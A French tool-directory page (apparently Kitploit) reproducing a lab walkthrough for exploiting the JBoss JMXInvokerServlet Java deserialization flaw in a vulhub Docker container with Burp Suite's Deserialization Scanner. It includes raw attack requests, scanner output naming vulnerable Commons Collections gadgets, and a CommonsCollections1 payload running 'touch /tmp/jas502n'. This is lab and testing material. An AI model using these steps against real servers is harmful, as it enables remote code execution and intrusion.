Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Jboss_JMXInvokerServlet_Deserialization_RCE — Jboss_JMXInvokerServlet_Deserialization_RCE | Kitploit
Outils/GitHubGitHub/jas502n/jboss_jmxinvokerservlet_deserialization_rce
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubjas502n/jboss_jmxinvokerservlet_deserialization_rce

Jboss_JMXInvokerServlet_Deserialization_RCE

Jboss_JMXInvokerServlet_Deserialization_RCE

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
2110il y a 6 ansVérifié par Kitploit

Jboss_JMXInvokerServlet_Deserialization_RCE

Exploitation de la vulnérabilité de désérialisation Java avec Burp Suite

0x01 Mise en place de la vulnérabilité de désérialisation Jboss JMXInvokerServlet

Environnement de test : vulnérabilité de désérialisation JBoss JMXInvokerServlet

Principe de la vulnérabilité : JBoss lit l'objet transmis par l'utilisateur dans la requête /invoker/JMXInvokerServlet, puis nous utilisons le gadget d'Apache Commons Collections pour exécuter du code arbitraire.

root@kitploit:~
root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker-compose up -d
jmxinvokerservlet-deserialization_jboss_1 is up-to-date

root@kali:~# docker ps -a
CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                                      
65b3707b9419        vulhub/jboss:as-6.1.0      "/run.sh"                4 hours ago         Up 4 hours          0.0.0.0:8080->8080/tcp, 0.0.0.0:9990->999

0x02 Accéder à /invoker/JMXInvokerServlet et envoyer le paquet POST à Deserialization Scanner - Manual testing

Dans l'historique de BurpSuite, si le chemin /invoker/JMXInvokerServlet existe, la page renvoie le code de statut 200

root@kitploit:~
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 10.10.20.166:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Cookie: JSESSIONID=8B6B65418F89E8857F4302AB85085A36
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

aaaa

La réponse renvoie Java serialization data, version 5 L'en-tête du fichier commence par aced0005737200246f72672e6a626f73

Envoyez le trafic POST /invoker/JMXInvokerServlet au plugin DS Faites un clic droit, puis cliquez sur Send request to DS-Manual testing

Définir le point de sérialisation

Sélectionnez l'emplacement où se trouve la sérialisation, car JBoss lit l'objet sérialisé transmis par l'utilisateur dans la requête /invoker/JMXInvokerServlet. Définissez aaaa comme point de sérialisation, sélectionnez tout aaaa Puis cliquez sur Set Insertion Point À ce moment, les données POST deviennent $aaaa$

root@kitploit:~
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 10.10.20.166:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Cookie: JSESSIONID=8B6B65418F89E8857F4302AB85085A36
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

§aaaa§

Vérifier si $aaaa$ présente une vulnérabilité de désérialisation

Cliquez sur Attack

Invite

root@kitploit:~
SCANNING IN PROGRESS  //正在进行扫描
Scanning can go on approximately from 1 second up to 3 minutes, based on the number of vulnerable libraries founded
//根据创建的易受攻击的库的数量,扫描可以持续大约1秒到3分钟

Patientez un instant

root@kitploit:~
Results:

Apache Commons Collections 3 (Sleep): Potentially VULNERABLE!!!
Spring Alternate Payload (Sleep): NOT vulnerable.
Apache Commons Collections 4 (Sleep): NOT vulnerable.
JSON (Sleep): NOT vulnerable.
Apache Commons Collections 3 Alternate payload 2 (Sleep): NOT vulnerable.
ROME (Sleep): NOT vulnerable.
Apache Commons Collections 4 Alternate payload (Sleep): NOT vulnerable.
Java 8 (up to Jdk8u20) (Sleep): NOT vulnerable.
Java 6 and Java 7 (up to Jdk7u21) (Sleep): Potentially VULNERABLE!!!
Hibernate 5 (Sleep): NOT vulnerable.
Commons BeanUtils (Sleep): NOT vulnerable.
Apache Commons Collections 3 Alternate payload 3 (Sleep): Potentially VULNERABLE!!!
Spring (Sleep): NOT vulnerable.
Apache Commons Collections 3 Alternate payload (Sleep): Potentially VULNERABLE!!!
END

IMPORTANT NOTE: High delayed networks may produce false positives!

Méthodes d'exploitation potentiellement dangereuses

root@kitploit:~
Apache Commons Collections 3 (Sleep): Potentially VULNERABLE!!!   //可能有害!
Java 6 and Java 7 (up to Jdk7u21) (Sleep): Potentially VULNERABLE!!! //可能有害!
Apache Commons Collections 3 Alternate payload 3 (Sleep): Potentially VULNERABLE!!! //可能有害!
Apache Commons Collections 3 Alternate payload (Sleep): Potentially VULNERABLE!!!  //可能有害!

Faites un clic droit et envoyez vers l'onglet Send to Exploitation

Par défaut CommonsCollections1 COMMAND Modifiez-le en CommonsCollections1 "touch /tmp/jas502n"

Cliquez sur Attack

Accédez au serveur Docker et vérifiez si le fichier /tmp/jas502n a été créé avec succès

root@kitploit:~
root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker ps -a
CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                                            NAMES
65b3707b9419        vulhub/jboss:as-6.1.0      "/run.sh"                5 hours ago         Up 5 hours          0.0.0.0:8080->8080/tcp, 0.0.0.0:9990->9990/tcp   jmxinvokerservlet-deserialization_jboss_1

root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker exec -it 65b3707b9419 /bin/bash
[root@65b3707b9419 /]# cd /tmp
[root@65b3707b9419 tmp]# ls
hsperfdata_root  jas502n
[root@65b3707b9419 tmp]# rm jas502n 
rm: remove regular empty file 'jas502n'? y
[root@65b3707b9419 tmp]# 
[root@65b3707b9419 tmp]# ls
hsperfdata_root
[root@65b3707b9419 tmp]# ls
hsperfdata_root  jas502n
[root@65b3707b9419 tmp]# 

Liens de référence :

https://github.com/vulhub/vulhub/blob/master/jboss/JMXInvokerServlet-deserialization/README.md

https://youtu.be/F3bPD_uGXKc

Télécharger l’outil